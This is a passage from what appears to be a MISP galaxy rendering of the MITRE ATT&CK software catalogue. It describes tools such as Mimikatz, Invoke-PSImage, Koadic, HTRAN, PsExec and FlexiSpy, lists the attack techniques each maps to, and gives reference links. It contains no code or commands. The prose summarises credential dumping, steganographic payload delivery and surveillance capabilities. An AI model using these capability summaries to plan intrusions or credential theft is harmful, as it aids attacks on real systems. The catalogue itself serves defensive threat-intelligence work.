- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5726. Table References

Links
https://attack.mitre.org/software/S0434
https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/

Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

The tag is: *misp-galaxy:mitre-tool="Invoke-PSImage - S0231"*

View relationships graph

Invoke-PSImage - S0231 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5727. Table References

Links
https://attack.mitre.org/software/S0231
https://github.com/peewpw/Invoke-PSImage

ipconfig - S0100

[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)

The tag is: *misp-galaxy:mitre-tool="ipconfig - S0100"*

View relationships graph

ipconfig - S0100 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 5728. Table References

Links
https://attack.mitre.org/software/S0100
https://technet.microsoft.com/en-us/library/bb490921.aspx

Mimikatz - S0002

[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)

The tag is: *misp-galaxy:mitre-tool="Mimikatz - S0002"*

Mimikatz - S0002 is also known as:

- Mimikatz

View relationships graph

Mimikatz - S0002 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 5729. Table References

Links
https://adsecurity.org/?page_id=1821
https://attack.mitre.org/software/S0002
https://github.com/gentilkiwi/mimikatz

HTRAN - S0040

[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)

The tag is: *misp-galaxy:mitre-tool="HTRAN - S0040"*

HTRAN - S0040 is also known as:

- HTRAN
- HUC Packet Transmit Tool

View relationships graph

HTRAN - S0040 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 5730. Table References

Links
https://attack.mitre.org/software/S0040
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools

MCMD - S0500

[MCMD](https://attack.mitre.org/software/S0500) is a remote access tool that provides remote command shell capability used by [Dragonfly 2.0](https://attack.mitre.org/groups/G0074).(Citation: Secureworks MCMD July 2019)

The tag is: *misp-galaxy:mitre-tool="MCMD - S0500"*

MCMD - S0500 is also known as:

- MCMD

View relationships graph

MCMD - S0500 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5731. Table References

Links
https://attack.mitre.org/software/S0500
https://www.secureworks.com/research/mcmd-malware-analysis

pwdump - S0006

[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)

The tag is: *misp-galaxy:mitre-tool="pwdump - S0006"*

pwdump - S0006 is also known as:

- pwdump

View relationships graph

pwdump - S0006 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 5732. Table References

Links
https://attack.mitre.org/software/S0006
https://en.wikipedia.org/wiki/Pwdump

gsecdump - S0008

[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)

The tag is: *misp-galaxy:mitre-tool="gsecdump - S0008"*

gsecdump - S0008 is also known as:

- gsecdump

View relationships graph

gsecdump - S0008 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="gsecdump" with estimative-language:likelihood-probability="likely"

Table 5733. Table References

Links
https://attack.mitre.org/software/S0008
https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5

at - S0110

[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)

The tag is: *misp-galaxy:mitre-tool="at - S0110"*

at - S0110 is also known as:

- at
- at.exe

View relationships graph

at - S0110 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 5734. Table References

Links
https://attack.mitre.org/software/S0110
https://man7.org/linux/man-pages/man1/at.1p.html
https://technet.microsoft.com/en-us/library/bb490866.aspx

ifconfig - S0101

[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)

The tag is: *misp-galaxy:mitre-tool="ifconfig - S0101"*

[View relationships graph]

ifconfig - S0101 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 5735. Table References

Links
https://attack.mitre.org/software/S0101
https://en.wikipedia.org/wiki/Ifconfig

Fgdump - S0120

[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Fgdump - S0120"*

Fgdump - S0120 is also known as:

- Fgdump

View relationships graph

Fgdump - S0120 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 5736. Table References

Links
https://attack.mitre.org/software/S0120
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

nbtstat - S0102

[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)

The tag is: *misp-galaxy:mitre-tool="nbtstat - S0102"*

View relationships graph

nbtstat - S0102 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 5737. Table References

Links
https://attack.mitre.org/software/S0102
https://technet.microsoft.com/en-us/library/cc940106.aspx

route - S0103

[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)

The tag is: *misp-galaxy:mitre-tool="route - S0103"*

View relationships graph

route - S0103 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 5738. Table References

Links
https://attack.mitre.org/software/S0103
https://technet.microsoft.com/en-us/library/bb490991.aspx

netstat - S0104

[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)

The tag is: *misp-galaxy:mitre-tool="netstat - S0104"*

View relationships graph

netstat - S0104 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 5739. Table References

Links
https://attack.mitre.org/software/S0104
https://technet.microsoft.com/en-us/library/bb490947.aspx

dsquery - S0105

[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

The tag is: *misp-galaxy:mitre-tool="dsquery - S0105"*

dsquery - S0105 is also known as:

- dsquery
- dsquery.exe

View relationships graph

dsquery - S0105 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 5740. Table References

Links
https://attack.mitre.org/software/S0105
https://technet.microsoft.com/en-us/library/cc732952.aspx

cmd - S0106

[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).

The tag is: *misp-galaxy:mitre-tool="cmd - S0106"*

cmd - S0106 is also known as:

- cmd
- cmd.exe

View relationships graph

cmd - S0106 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5741. Table References

Links
https://attack.mitre.org/software/S0106
https://technet.microsoft.com/en-us/library/bb490880.aspx
https://technet.microsoft.com/en-us/library/bb490886.aspx
https://technet.microsoft.com/en-us/library/cc755121.aspx
https://technet.microsoft.com/en-us/library/cc771049.aspx

certutil - S0160

[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)

The tag is: *misp-galaxy:mitre-tool="certutil - S0160"*

certutil - S0160 is also known as:

- certutil
- certutil.exe

View relationships graph

certutil - S0160 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5742. Table References

Links
https://attack.mitre.org/software/S0160
https://technet.microsoft.com/library/cc732443.aspx

netsh - S0108

[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)

The tag is: *misp-galaxy:mitre-tool="netsh - S0108"*

netsh - S0108 is also known as:

- netsh
- netsh.exe

View relationships graph

netsh - S0108 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 5743. Table References

Links
https://attack.mitre.org/software/S0108
https://technet.microsoft.com/library/bb490939.aspx

BITSAdmin - S0190

[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)

The tag is: *misp-galaxy:mitre-tool="BITSAdmin - S0190"*

BITSAdmin - S0190 is also known as:

- BITSAdmin

View relationships graph

BITSAdmin - S0190 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5744. Table References

Links
https://attack.mitre.org/software/S0190
https://msdn.microsoft.com/library/aa362813.aspx

Koadic - S0250

[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-tool="Koadic - S0250"*

Koadic - S0250 is also known as:

- Koadic

View relationships graph

Koadic - S0250 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5745. Table References

Links
https://attack.mitre.org/software/S0250
https://github.com/zerosum0x0/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

PsExec - S0029

[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)

The tag is: *misp-galaxy:mitre-tool="PsExec - S0029"*

PsExec - S0029 is also known as:

- PsExec

View relationships graph

PsExec - S0029 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="PsExec" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-

language:likelihood-probability="almost-certain"

Table 5746. Table References

Links
https://attack.mitre.org/software/S0029
https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Net - S0039

The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.

The tag is: *misp-galaxy:mitre-tool="Net - S0039"*

Net - S0039 is also known as:

- Net
- net.exe

View relationships graph

Net - S0039 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5747. Table References

Links
http://windowsitpro.com/windows/netexe-reference
https://attack.mitre.org/software/S0039
https://msdn.microsoft.com/en-us/library/aa939914

esentutl - S0404

[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)

The tag is: *misp-galaxy:mitre-tool="esentutl - S0404"*

esentutl - S0404 is also known as:

- esentutl
- esentutl.exe

View relationships graph

esentutl - S0404 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5748. Table References

Links
https://attack.mitre.org/software/S0404
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)

FlexiSpy - S0408

[FlexiSpy](https://attack.mitre.org/software/S0408) is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.(Citation: FortiGuard-FlexiSpy)(Citation: CyberMerchants-FlexiSpy)

[FlexiSpy](https://attack.mitre.org/software/S0408) markets itself as a parental control and employee monitoring application.(Citation: FlexiSpy-Website)

The tag is: *misp-galaxy:mitre-tool="FlexiSpy - S0408"*

FlexiSpy - S0408 is also known as:

- FlexiSpy

View relationships graph

FlexiSpy - S0408 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5749. Table References

Links
http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html
https://attack.mitre.org/software/S0408
https://d3gpjj9d20n0p3.cloudfront.net/fortiguard/research/Dig%20Deep%20into%20FlexiSpy%20for%20Android%28white%20paper%29_KaiLu.pdf
https://www.flexispy.com/

Reg - S0075

